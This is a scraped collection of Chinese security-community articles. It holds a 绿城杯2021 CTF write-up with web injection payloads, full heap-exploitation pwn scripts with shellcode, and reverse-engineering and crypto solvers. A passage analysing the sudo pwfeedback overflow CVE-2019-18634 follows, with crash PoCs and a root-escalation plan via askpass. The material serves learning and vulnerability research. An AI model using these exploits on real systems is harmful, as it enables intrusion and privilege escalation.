[https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/](https://www.mi1k7ea.com/2019/06/02/浅析Python-Flask-SSTI/)
<https://xz.aliyun.com/t/52>
[https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93](https://hatboy.github.io/2018/04/19/Python沙箱逃逸总结) | 社区文章 |
# 绿城杯2021 By T3ns0r
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Web
### 1.ezphp
这个题目一打开，就发现有个`?link_page=` 猜想可能存在文件包含点。就直接拿伪协议打了一下。
发现报错了，因为`file_exists("pages/")` 会有一个pages目录限制。 然后尝试了一下 `../` 发现ban了。
然后换了个思路，扫了一下后台没啥东西。然后试了扫了一下源码泄露的点。发现有.git
然后用githack扫了一波。拿到源码：
主要是`index.php` 核心代码：
<?php
if (isset($_GET['link_page']))
{
$link_page = $_GET['link_page'];
} else
{
$link_page = "home";
}
$page_file = "pages/" . $link_page . ".php";
$safe_check1 = "strpos('$page_file', '..') === false";
assert($safe_check1) or die("no no no!");
// safe!
$safe_check2 = "file_exists('$page_file')";
assert($safe_check2) or die("no this file!");
?>
<?php
require_once $page_file;
?>
发现这里用的`assert` 然后 `$link_page` 变量可控，就直接拼接，然后命令执行。
最终的payload:`http://cffd4c1d-763f-4c6b-ac41-ecef3d6c82b7.zzctf.dasctf.com/?link_page=%27.system(%22cd%20/var/www/html/pages;cat%20flag.php;%22).%27`
### 2.Looking for treasure
一开始F12，发现有 `source.zip`
然后下载到源码，搜索了一下，发现类似的题目：`https://0day.design/2020/08/11/defcon%20CTF%20Final%20Web%20WriteUp/`
然后发现有些是被ban了，上面有几个解法打不通，最后用到的payload:
POST /config/validated HTTP/1.1
Host: 10.13.37.3:4017
User-Agent: python-requests/2.11.1
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Content-Length: 90
Content-Type: application/json
{"$schema": {"properties": {"__proto__": {"properties": {"path": {"default": "/flag"}}}}}}
但是注意，这里的路由需要改一下，题目给的路由是 `validated` ,所以最后的payload:
POST /validated HTTP/1.1
Host: 10.13.37.3:4017
User-Agent: python-requests/2.11.1
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Content-Length: 90
Content-Type: application/json
{"$schema": {"properties": {"__proto__": {"properties": {"path": {"default": "/flag"}}}}}}
## PWN
### 1.null
题目在add和edit中可以溢出一个字节，通过这点来修改chunk
size，申请四个chunk，修改size去覆盖下面的chunk，合并大小大于0x80即可，free进入unsortedbin，再申请上面chunk的大小，通过切片使libc到被覆盖的chunk中，show，泄露libc，此时这个chunk同时存在于allocate和free态，申请出来，就会有两个指针指向它，之后free其中一个指针，再直接edit，拿到malloc_hook-0x23，将hook改为ogg，最后add即可gstshell。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process('./null_pwn')
libc = ELF('/home/hacker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
p = remote("82.157.5.28",51204)
#libc = ELF('/home/hacker/Desktop/libc/amd64/libc-2.30.so')
elf = ELF('./null_pwn')
def add(idx,size,content):
p.sendlineafter("Your choice :",'1')
p.sendlineafter("Index:",str(idx))
p.sendlineafter("Size of Heap : ",str(int(size)))
p.sendafter("Content?:",content)
def edit(idx,content):
p.sendlineafter("Your choice :",'3')
p.sendlineafter("Index:",str(idx))
p.sendafter("Content?:",content)
def show(idx):
p.sendlineafter("Your choice :",'4')
p.sendlineafter("Index :",str(idx))
def free(idx):
p.sendlineafter("Your choice :",'2')
p.sendlineafter("Index:",str(idx))
heaparr = 0x602120
sizearr = 0x6020e0
add(0,0x18,'a'*0x10)
add(1,0x10,'b'*0x10)
add(2,0x60,'c'*0x10)
add(3,0x10,'d'*0x10)
edit(0,'b'*0x18+'\x91')
free(1)
add(1,0x10,'x')
show(2)
p.recvuntil("Content : ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-88-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
malloc_hook = libc_base+libc.sym["__malloc_hook"]
log.info("__malloc_hook="+hex(malloc_hook))
add(4,0x60,'b')
free(2)
edit(4,p64(malloc_hook-0x23))
add(5,0x60,'a')
add(6,0x60,'b')
ogg = libc_base+0xf1247
edit(6,'a'*0x13+p64(ogg))
p.sendlineafter("Your choice :",'1')
p.sendlineafter("Index:",'0')
p.sendlineafter("Size of Heap : ",'16')
#gdb.attach(p)
p.interactive()
### 2.uaf
free后没有清指针，直接利用uaf，free unsortedchunk泄露libc，改malloc_hook为ogg即可
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#libc
libc = ELF('/home/hacker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#libc = ELF('/home/hacker/Desktop/libc/amd64/libc-2.30.so')
#p
elf = ELF('./uaf_pwn')
#p = process('./uaf_pwn')
p = remote("82.157.5.28",52102)
def add(size):
p.sendlineafter(">",'1')
#p.sendlineafter("Index:",str(idx))
p.sendlineafter("size>",str(int(size)))
#p.sendafter("Content?:",content)
def edit(idx,content):
p.sendlineafter(">",'3')
p.sendlineafter("index>",str(idx))
p.sendafter("content>",content)
def show(idx):
p.sendlineafter(">",'4')
p.sendlineafter("index>",str(idx))
def free(idx):
p.sendlineafter(">",'2')
p.sendlineafter("index>",str(idx))
addr = int(p.recv(14),16)
log,info("addr = "+hex(addr))
add(0x90)#0
add(0x10)#1
free(0)
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-88-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
malloc_hook = libc_base+libc.sym["__malloc_hook"]
log.info("__malloc_hook="+hex(malloc_hook))
add(0x90)#2
add(0x60)#3
free(3)
edit(3,p64(malloc_hook-0x23))
add(0x60)#4
add(0x60)#5
ogg = libc_base+0x4527a
edit(5,'a'*0x13+p64(ogg))
p.sendlineafter(">",'1')
p.sendlineafter("size>",'16')
p.interactive()
### 3.green note
2.27的uaf，限制了chunk大小，还开了沙箱，但是7.3版本的2.27libc的tcache可以直接反复free，free
nsortedchunk填满libc，再free一次进入unsortedbin，show泄露libc，之后拿到free_hook，改为setcontext+53，因为这版本利用rdi设置参数，使用sigframe框架设置寄存器后和free_hook附近值后，free这个框架chunk，调用mprotect改权限，再返回到shell1的read函数调用，读入shell2的orw，即可拿到flag
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#libc
#libc = ELF('/home/hacker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#libc = ELF('/home/hacker/Desktop/libc/amd64/libc-2.30.so')
libc = ELF('libc-2.27.so')
#p
p = process('./GreentownNote')
#p = remote("82.157.5.28",52401)
def add(size,content):
p.sendlineafter("> Your choice :",'1')
#p.sendlineafter("Index:",str(idx))
p.sendlineafter("> Note size :",str(int(size)))
p.sendafter("> Content :",content)
# def edit(idx,content):
# p.sendlineafter("> Your choice :",'3')
# p.sendlineafter("index>",str(idx))
# p.sendafter("content>",content)
def show(idx):
p.sendlineafter("> Your choice :",'2')
p.sendlineafter("| Index :",str(idx))
def free(idx):
p.sendlineafter("> Your choice :",'3')
p.sendlineafter("| Index :",str(idx))
add(0x80,'a')
add(0x80,'b')
for i in range(8):
free(0)
show(0)
p.recvuntil("| Content: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym["__malloc_hook"]
free_hook = libc_base+libc.sym["__free_hook"]
log.info("libc_base="+hex(libc_base))
log.info("free_hook="+hex(free_hook))
add(0x100,'a')
free(0)
free(0)
add(0x100,p64(free_hook))
add(0x100,'a')
#fist state arch
newexe = libc_base+libc.sym['__free_hook'] & 0xfffffffffffff000#memory page
#call read to store shellcode
shell1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % newexe
#call protect
frame = SigreturnFrame()
frame.rsp = libc_base + libc.sym['__free_hook']+0x10
#after setcontext's push, esp at +0x8 ,and here is rip,so after call [rip],
#it will ret and the ret addr is +0x10,so we can control a chain.
frame.rdi = newexe
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base + libc.sym['mprotect']
#orw
shell2 = '''
mov rax,0x67616c662f
push rax
mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall
mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall
mov rdi,0
mov rax,60
syscall
'''
add(0x100,p64(libc_base+libc.sym["setcontext"]+53)+p64(libc_base+libc.sym["__free_hook"]+0x18)*2+asm(shell1))
add(0x200,str(frame))
free(4)
p.sendline(asm(shell2))
#gdb.attach(p)
p.interactive()
## RE
### 1.easy_re
main函数有个花指令，去一下
反编译看main函数
观察算法特征，是RC4，但是有个细节变异 多了个异或0x37
key也有，密文动调得到
编写exp
key = 'tallmewhy'
text = [0xF5, 0x8C, 0x8D, 0xE4, 0x9F, 0xA5, 0x28, 0x65, 0x30, 0xF4,
0xEB, 0xD3, 0x24, 0xA9, 0x91, 0x1A, 0x6F, 0xD4, 0x6A, 0xD7,
0x0B, 0x8D, 0xE8, 0xB8, 0x83, 0x4A, 0x5A, 0x6E, 0xBE, 0xCB,
0xF4, 0x4B, 0x99, 0xD6, 0xE6, 0x54, 0x7A, 0x4F, 0x50, 0x14,
0xE5, 0xEC]
v2 = 0x100
enc_key = []
for i in range(0x100):
enc_key.append(i)
v1 = 0
for j in range(0x100):
v1 = (enc_key[j] + v1 + ord(key[j % len(key)])) % 0x100
v4 = enc_key[j]
enc_key[j] = enc_key[v1]
enc_key[v1] = v4 ^ 0x37
v0 = 0
v1 = 0
for i in enc_key:
print(hex(i), ',', end='')
for i in range(len(text)):
v0 = (v0 + 1) % 0x100
v1 = ((enc_key[v0] & 0xFF) + v1) % 0x100
v3 = enc_key[v0]
enc_key[v0] = enc_key[v1]
enc_key[v1] = v3
text[i] = text[i] ^ enc_key[(enc_key[v0] + enc_key[v1]) % 0x100]
print()
print(''.join(chr(text[i]) for i in range(len(text))))
# flag{c5e0f5f6-f79e-5b9b-988f-28f046117802}
### 2.baby_vxworks
花指令，还是先去一下
分析一下关键逻辑，有个递归，逆向一下不难，直接上脚本：
enc = [188, 10, 187, 193, 213, 134, 127, 10, 201, 185, 81, 78, 136, 10, 130, 185, 49, 141, 10, 253, 201, 199, 127, 185,
17, 78, 185, 232, 141, 87]
def encrypt(s, n):
if n == 0:
return s & 0xff
s = (s - 3) ^ 0x22
return encrypt(s, n - 1)
for i in enc:
print(chr(encrypt(i, len(enc))), end='')
## Crypto
### 1.[warmup]加密算法
52位的仿射密码解密，CSDN搜到了脚本一把梭。exp如下：
import string
def decrypt(k1,k2,message):
for i in range(52):
if k1*i%52==1:
inv = i
break
dic = string.ascii_letters
m = []
for i in message:
if i.islower():
num = ord(i)-ord('a')
m.append(dic[inv*(num-k2)%52])
elif i.isupper():
num = ord(i)-ord('A')+26
m.append(dic[inv*(num-k2)%52])
else:
m.append(i)
print(''.join(m))
decrypt(37, 23, 'aoxL{XaaHKP_tHgwpc_hN_ToXnnht}')
# flag{AffInE_CIpheR_iS_clAssiC}
### 2.RSA-1
c是p的倍数，所以对n和c求gcd即为p。exp如下：
from gmpy2 import *
from libnum import *
n = 17365231154926348364478276872558492775911760603002394353723603461898405740234715001820111548600914907617003806652492391686710256274156677887101997175692277729648456087534987616743724646598234466094779540729413583826355145277980479040157075453694250572316638348121571218759769533738721506811175866990851972838466307594226293836934116659685215775643285465895317755892754473332034234495795936183610569571016400535362762699517686781602302045048532131426035260878979892169441059467623523060569285570577199236309888155833013721997933960457784653262076135561769838704166810384309655788983073376941843467117256002645962737847
c = 6944967108815437735428941286784119403138319713455732155925055928646536962597672941805831312130689338014913452081296400272862710447207265099750401657828165836013122848656839100854719965188680097375491193249127725599660383746827031803066026497989298856420216250206035068180963797454792151191071433645946245914916732637007117085199442894495667455544517483404006536607121480678688000420422281380539368519807162175099763891988648117937777951069899975260190018995834904541447562718307433906592021226666885638877020304005614450763081337082838608414756162253825697420493509914578546951634127502393647068722995363753321912676
e = 0x10001
p = gcd(n, c)
q = n // p
d = invert(e, (p-1)*(q-1))
print(n2s(int(pow(c, d, n) // p // 2021 // 1001)))
# flag{Math_1s_1nterest1ng_hah}
### 3.RSA-2
flag1是祥云杯的RSAssss，用费马因式分解n，网上搜到exp。flag2是用sympy解方程得到p和q。exp如下：
from sympy import Symbol, solve
from gmpy2 import *
from libnum import *
def fermat_factorization(n):
factor_list = []
get_context().precision = 4096
x = int(sqrt(n))
while True:
x += 1
y2 = x ** 2 - n
if is_square(y2):
#print('x = ',x)
y2 = mpz(y2)
get_context().precision = 4096
y = int(sqrt(y2))
factor_list.append([x+y, x-y])
if len(factor_list) == 2:
break
return factor_list
n1 = 6348779979606280884589422188738902470575876294643492831465947360363568026280963989291591157710389629216109615274754718329987990551836115660879103234129921943824061416396264358110216047994331119920503431491509529604742468032906950984256964560405062345280120526771439940278606226153077959057882262745273394986607004406770035459301695806378598890589432538916219821477777021460189140081521779103226953544426441823244765828342973086422949017937701261348963541035128661464068769033772390320426795044617751909787914185985911277628404632533530390761257251552073493697518547350246993679844132297414094727147161169548160586911
c1 = 6201882078995455673376327652982610102807874783073703018551044780440620679217833227711395689114659144506630609087600915116940111002026241056808189658969089532597757995423694966667948250438579639890580690392400661711864264184444018345499567505424672090632235109624193289954785503512742400960515331371813467034511130432319427185134018830006918682733848618201088649690422818940385123599468595766345668931882249779415788129316594083269412221804774856038796248038700275509397599351533280014908894068141056694660319816046357462684688942519849441237878018480036145051967731081582598773076490918572392784684372694103015244826
s1 = 274773146761138462708137582309097386437793891793691383033856524303010811294101933454824485010521468914846151819876043508541879637544444256520741418495479393777132830985856522008561088410862815913292288683761657919121930016956916865849261153721097671315883469348972925757078089715102032241818526925988645578778
s2 = 18514724270030962172566965941723224386374076294232652258701085781018776172843355920566035157331579524980108190739141959926523082142273672741849552475156278397131571360099018592018959785627785130126477982765210498547680367230723634424036009539347854344573537848628061468892166199866227984167843139793429682559241317072979374002912607549039431398267184818771503468116379618249319324788996321340764624593443106354104274472601170229835219638093242557547840060892527576940077162990069687019966946826210112318408269749294366586682732614372434218768720577917368726530200897558912687470088583774711767599580037663378929000217
n2 = 40588227045595304080360385041082238507044292731344465815296032905633525556943787610712651675460810768762763493579129831271018141591546207557410817432455139315527674932933085299277599173971912445226532235814580879585317211349524406424200622675880992390782025158621241499693400288031658194434641718026910652327933253877313106112861283314274635124734817398465059373562194694957841264834312640926278890386089611103714990646541470577351599526904458342660444968591197606820361364761648205241041444681145820799054413179462285509661124362074093583494932706249461954240408827087015525507173082129412234486228092002841868365895837463699200959915782767657258729794037776401995309244941171415842403617486719492483671490834562579225506831496881542530519595438932482796867853234159664409420977526102480385193101883785161080269573707156626838551506024455480650224305894501968583442346807126920740779780593650871645915149689424292912611578291912721896864772950410266629045542480009266574096080138709683466489568290569363478444349563498507530805502511051165160827192795520182720802422213364247355775222858214648603034743679187470844212529134374975737510982287957316878179964602394749601431823167982157434890459245394370728942790117156485268116758052636794417268680901420193002289035538753620555488506926366624641291881353268617130968991258983002165300186971963661666476600998389048880565199317280428349802824448329898502788492233381873026217202981921654673840142095839603360666049476100561268336225902504932800605464136192275593886736746497955270280541423593
c2 = 25591090168544821761746024178724660839590948190451329227481168576490717242294520739865602061082558759751196452117720647426598261568572440942370039702932821941366792140173428488344932203576334292648255551171274828821657097667106792872200082579319963310503721435500623146012954474613150848083425126987554594651797477741828655238243550266972216752593788734836373144363217639612492397228808215205862281278774096317615918854403992620720969173788151215489908812749179861803144937169587452008097008940710091361183942268245271154461872102813602754439939747566507116519362821255724179093051041994730856401493996771276172343313045755916751082693149885922105491818225012844519264933137622929024918619477538521533548551789739698933067212305578480416163609137189891797209277557411169643568540392303036719952140554435338851671440952865151077383220305295001632816442144022437763089133141886924265774247290306669825085862351732336395617276100374237159580759999593028756939354840677333467281632435767033150052439262501059299035212928041546259933118564251119588970009016873855478556588250138969938599988198494567241172399453741709840486953189764289118312870580993115636710724139809708256360212728127786394411676427828431569046279687481368215137561500777480380501551616577832499521295655237360184159889151837766353116185320317774645294201044772828099074917077896631909654671612557207653830344897644115936322128351494551004652981550758791285434809816872381900401440743578104582305215488888563166054568802145921399726673752722820646807494657299104190123945675647
e = 0x10001
factor_list = fermat_factorization(n1)
[X1, Y1] = factor_list[0]
[X2, Y2] = factor_list[1]
p1 = gcd(X1, X2)
q1 = X1 // p1
p2 = gcd(Y1, Y2)
q2 = Y1 // p2
phi = (p1 - 1) * (q1 - 1) * (p2 - 1) * (q2 - 1)
d1 = invert(e, phi)
flag1 = n2s(int((pow(c1, d1, n1))))
# p3 = Symbol('p3')
# q3 = Symbol('q3')
# p3, q3 = solve([p3+q3-s1, p3*q3-s2], [p3, q3])[0]
# print(p3, q3)
p3 = 118403784459455138582919377906131738592946190895354489225890530955489713357948723774385902598164582767355529878101682058998518634444589192617157682795489868846289962039288493883412519273541770945888153150197763095564026103787571812611196732248676365740482179339301570536662025044058993433932899960459852671737
q3 = 156369362301683324125218204402965647844847700898336893807965993347521097936153209680438582412356886147490621941774361449543361003099855063903583735699989524930842868946568028125148569137321044967404135533563894823557903913169345053238064421472421305575401290009671355220416064671043038807885626965528792907041
d2 = invert(e, (p3-1)*(q3-1))
flag2 = n2s(int(pow(c2, d2, p3*q3)))
print(flag1 + flag2)
# flag{Euler_funct1ons_1s_very_interst1ng}
## Misc
### 1.[warmup]音频隐写
加上.wav的后缀名，拖入Audacity查看频谱图，放大后面一段看到：
flag{f8fbb2c761821d3af23858f721cc140b} | 社区文章 |
## 漏洞概述
CVE-2019-18634是一个`sudo
提权漏洞`。影响sudo版本为`[1.7.1,1.8.31)`。在官方描述中只提及该漏洞可以在`1.8.26`前的版本中利用，实际上在1.8.26的版本中仍有利用的方式。具体地，如果`pwfeedback`配置选项在`/etc/sudoers`被启用，攻击者可以利用一个栈溢出漏洞(`实际上溢出点在bss段`)来获取root权限。这个配置选项在多数的Linux系统中都不是默认选项，但是在`Linux
Mint`操作系统和`Elementary OS`上是默认开启的，因此漏洞的危害比较大，攻击者需要向`getln`传递一个超长字符串来触发攻击。
## 漏洞复现
下载`sudo-1.8.25`源码并编译
wget https://www.sudo.ws/dist/sudo-1.8.25.tar.gz
tar -zxvf ./sudo-1.8.25.tar.gz
cd ./sudo-1.8.25
./configure
make -j4
make install
系统默认的`sudo`位于`/usr/bin/`目录下,编译之后的sudo会放在`/usr/local/bin/`目录下，在环境变量中后者更靠前因此默认调用的是我们编译之后的binary。
╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*›
╰─$ which sudo 1 ↵
/usr/local/bin/sudo
╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*›
╰─$ ll /usr/bin/sudo
-rwsr-xr-x 1 root root 134K 2月 1 02:37 /usr/bin/sudo
╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*›
╰─$ ll /usr/local/bin/sudo
╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*›
╰─$ sudo --version
Sudo version 1.8.25
Sudoers policy plugin version 1.8.25
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.25
漏洞的复现环境为`Ubuntu
16.04`，默认没有开启`pwfeedback`配置，因此我们首先切换到root用户，修改`/etc/sudoers`，添加一行`Defaults
pwfeedback`，然后使用`sudo -l`列出用户的可用权限，可以看到配置生效。
╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*›
╰─$ sudo -l
Matching Defaults entries for wz on wz-virtual-machine:
pwfeedback, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wz may run the following commands on wz-virtual-machine:
(ALL : ALL) ALL
首先拿POC进行测试，第一个POC为多个`A*100+‘\x00’`组成的字符串，`-S`参数指的是从stdin读取密码，成功使得sudo崩溃。这个poc适用于1.8.26以前的漏洞版本。
─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*›
╰─$ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id 132 ↵
Password:
[1] 31047 done perl -e 'print(("A" x 100 . "\x{00}") x 50)' |
31048 illegal hardware instruction (core dumped) sudo -S id
第二个POC的payload与第一个相似，只是末尾结束符从`\x00`改成了`\x15`。通过`socat`创建一个`伪终端pty`。`waitslave`参数使得当`sudo`从`/tmp/pty`读取输入时，执行下述的命令向文件中输入payload。可以看到这个POC也成功使得sudo崩溃。
╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*›
╰─$ socat pty,link=/tmp/pty,waitslave exec:"perl -e 'print((\"A\" x 100 . chr(0x15)) x 50)'" &
[1] 30757
╭─wz@wz-virtual-machine ~/Desktop/CTF/CVE-2019-18634/my_exp ‹hexo*›
╰─$ sudo -S id < /tmp/pty
Password:
[1] + 30757 done socat pty,link=/tmp/pty,waitslave
[2] 30883 illegal hardware instruction (core dumped) sudo -S id < /tmp/pty
CWwait-slave
Blocks the open phase until a process opens the slave side of the pty. Usually, socat continues after generating the pty with opening the next address or with entering the transfer loop. With the wait-slave option, socat waits until some process opens the slave side of the pty before continuing. This option only works if the operating system provides the CWpoll() system call. And it depends on an undocumented behaviour of ptycqs, so it does not work on all operating systems. It has successfully been tested on Linux, FreeBSD, NetBSD, and on Tru64 with openpty.
## 漏洞分析
根据NVD的描述，漏洞位于`getln`函数，我们重新编译`sudo`，添加`--enabble-asan`参数，这个参数使得gcc在编译阶段对程序添加了额外的指令和数据，可以检测内存溢出。可以理解成开启沙箱保护的功能。
make clean
./configure --enable-asan
make -j4
make install
再使用第二个poc进行测试，沙箱可以检测出bss段的溢出，且给出了程序崩溃时的寄存器情况以及函数调用链，可以看到在`tgetpass.c:178`行调用getln，在`tgetpass:345`处产生了溢出。
根据源码，可以看出漏洞发生在程序使用`getln`函数获取密码时。参数`buf`位于bss段，`bufsz`为输入最大长度，这里是0xff,`feedback`为`pwfeedback`选项。
跟进去接着看，开始将buf赋值给`cp`指针，`left`表示剩余的输入字符数量。在没有开启`pwfeedback`的时候挨个拷贝输入字符到cp中直到遇到换行，`*cp++
= c;`。
开启了该选项的情况下情况复杂一些，如果输入字符为`sudo_term_kill`，即删除所有字符就会回滚输入，将cp恢复到和buf一致的位置，并将剩余字节`left`重新赋值为`bufsize`。如果输入字符为`sudo_term_erase`，即删除单个字符，就将字符位置回滚1字节，`left++`。
这里的逻辑看上去没有什么问题，但是我们从`管道`获取输入而非从终端获取输入，由于管道是`单向`的，因此在这个读管道中我们只能read而不能write，故`write(fd,
"\b \b", 3) ==
-1`总是成立，在处理`sudo_term_kill`这个字符的时候直接Break跳出，重新赋值`left`为bufsiz，即`0xff`，又可以输入一轮`0xff`内的数据，通过`*cp++
= c;`覆写bss数据，直到溢出自己的0x100的数据边界，最终造成crash。
//tgetpass:178
pass = getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK));
//...
getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
if (left == 0) {
errno = EINVAL;
debug_return_str(NULL); /* sanity */
}
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {//调试为0x15
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)//vul
break;
--cp;
}
left = bufsiz;//重新赋值
continue;
} else if (c == sudo_term_erase) {
if (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
left++;
}
continue;
}
ignore_result(write(fd, "*", 1));
}
*cp++ = c;//赋值部分
}
*cp = '\0';
if (feedback) {
/* erase stars */
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
}
debug_return_str_masked(nr == 1 ? buf : NULL);
}
## 漏洞利用
### 漏洞定位 && 前置知识
首先定位一下输入的位置，在IDA中打开`sudo`，查看getlen的调用定位到目标调用处，可以看到内存排布为`buf[0x100]->askpass[0x20]->signo[0x104]->tgetpass_flags[0x1c]->user_details[0x68]`。
sudo_debug_ret = getln(v18, buf_6188, flagsa & 8, v19);
/*
bss:00000000002218E0 buf_6188 db 100h dup(?) ; DATA XREF: tgetpass+412↑o
.bss:00000000002219E0 ; Function-local static variable
.bss:00000000002219E0 ; const char *askpass_6187
.bss:00000000002219E0 askpass_6187 dq ? ; DATA XREF: tgetpass+5D↑r
.bss:00000000002219E0 ; tgetpass+81↑r ...
.bss:00000000002219E8 align 20h
.bss:0000000000221A00 ; volatile sig_atomic_t signo[65]
.bss:0000000000221A00 signo dd 41h dup(?) ; DATA XREF: tgetpass_handler+5↑o
.bss:0000000000221A00 ; tgetpass+1EA↑o
.bss:0000000000221B04 public tgetpass_flags
.bss:0000000000221B04 ; int tgetpass_flags
.bss:0000000000221B04 tgetpass_flags dd ? ; DATA XREF: sudo_conversation+5F↑r
.bss:0000000000221B04 ; parse_args:loc_11D90↑w ...
.bss:0000000000221B08 align 20h
.bss:0000000000221B20 public user_details_0
.bss:0000000000221B20 ; user_details user_details_0
.bss:0000000000221B20 user_details_0 user_details <?> ; DATA XREF: get_user_info+41↑o
.bss:0000000000221B20 ; get_user_info+77↑w ...
.bss:0000000000221B88 public list_user
.bss:0000000000221B88 ; const char *list_user
.bss:0000000000221B88 list_user dq ? ; DATA XREF: main+87F↑r
*/
//tgetpass.c
static const char *askpass;
static char buf[SUDO_CONV_REPL_MAX + 1];
`askpass`变量定义在`tgetpass.c`，为静态变量，这个变量对于漏洞利用来说很关键，其作用是指定一个可执行程序，从这个程序中获取输入作为密码。检查`TGP_ASKPASS`这个flag之后选择启用该选项。从环境变量`SUDO_ASKPASS`中读取要执行的程序，调用`sudo_askpass`函数，其中`fork`出子进程来执行程序，在这之前会检查`suid/uid/gid`详情可以查看下列函数调用中的注释。之后调用`getln`获取输入，注意这里没有启用`pwfeedback`。
/*
* Like getpass(3) but with timeout and echo flags.
*/
char *
tgetpass(const char *prompt, int timeout, int flags,
struct sudo_conv_callback *callback)
{
struct sigaction sa, savealrm, saveint, savehup, savequit, saveterm;
struct sigaction savetstp, savettin, savettou;
char *pass;
static const char *askpass;//定义
static char buf[SUDO_CONV_REPL_MAX + 1];
int i, input, output, save_errno, neednl = 0, need_restart;
debug_decl(tgetpass, SUDO_DEBUG_CONV)
(void) fflush(stdout);
if (askpass == NULL) {
askpass = getenv_unhooked("SUDO_ASKPASS");//从环境变量获取
if (askpass == NULL || *askpass == '\0')
askpass = sudo_conf_askpass_path();
}
/* If no tty present and we need to disable echo, try askpass. */
if (!ISSET(flags, TGP_STDIN|TGP_ECHO|TGP_ASKPASS|TGP_NOECHO_TRY) &&
!tty_present()) {//注意TGP_ASKPASS这个flag
if (askpass == NULL || getenv_unhooked("DISPLAY") == NULL) {
sudo_warnx(U_("no tty present and no askpass program specified"));
debug_return_str(NULL);
}
SET(flags, TGP_ASKPASS);//启用askpass选项
}
/* If using a helper program to get the password, run it instead. */
if (ISSET(flags, TGP_ASKPASS)) {
if (askpass == NULL || *askpass == '\0')
sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
debug_return_str_masked(sudo_askpass(askpass, prompt));//调用sudo_askpass,askpass作为参数
}
//...
}
//
/*
* Fork a child and exec sudo-askpass to get the password from the user.
*/
static char *
sudo_askpass(const char *askpass, const char *prompt)
{
static char buf[SUDO_CONV_REPL_MAX + 1], *pass;
struct sigaction sa, savechld;
int pfd[2], status;
pid_t child;
//...
if (pipe(pfd) == -1)
sudo_fatal(U_("unable to create pipe"));
child = sudo_debug_fork();//fork处子进程
//...
if (child == 0) {
/* child, point stdout to output side of the pipe and exec askpass */
if (dup2(pfd[1], STDOUT_FILENO) == -1) {//stdout复制到pfd[1]这个输出管道
sudo_warn("dup2");
_exit(255);
}
if (setuid(ROOT_UID) == -1)
sudo_warn("setuid(%d)", ROOT_UID);//检查suid
if (setgid(user_details.gid)) {
sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);//检查gid
_exit(255);
}
if (setuid(user_details.uid)) {
sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);//检查uid
_exit(255);
}
closefrom(STDERR_FILENO + 1);
execl(askpass, askpass, prompt, (char *)NULL);//去执行askpass指定的程序
sudo_warn(U_("unable to run %s"), askpass);
_exit(255);
}
/* Get response from child (askpass). */
(void) close(pfd[1]);
pass = getln(pfd[0], buf, sizeof(buf), 0);//调用getln获取密码，注意pwfeedback参数为0，表示不启用该选项。
(void) close(pfd[0]);
//...
debug_return_str_masked(pass);
}
`signo`定义为`static volatile sig_atomic_t
signo[NSIG];`，存储程序运行中接收到的各种信号以便对其处理，这里我们置为`\x00`即可。
`tgetpass_flags`保存一些选项对应的flag。在`sudo.h`中可以找到宏及表示的含义。其中`TGP_ASKPASS`为4，因此我们要启用`askpass`需要设置此值为`0x4`。
/*
* Flags for tgetpass()
*/
#define TGP_NOECHO 0x00 /* turn echo off reading pw (default) */
#define TGP_ECHO 0x01 /* leave echo on when reading passwd */
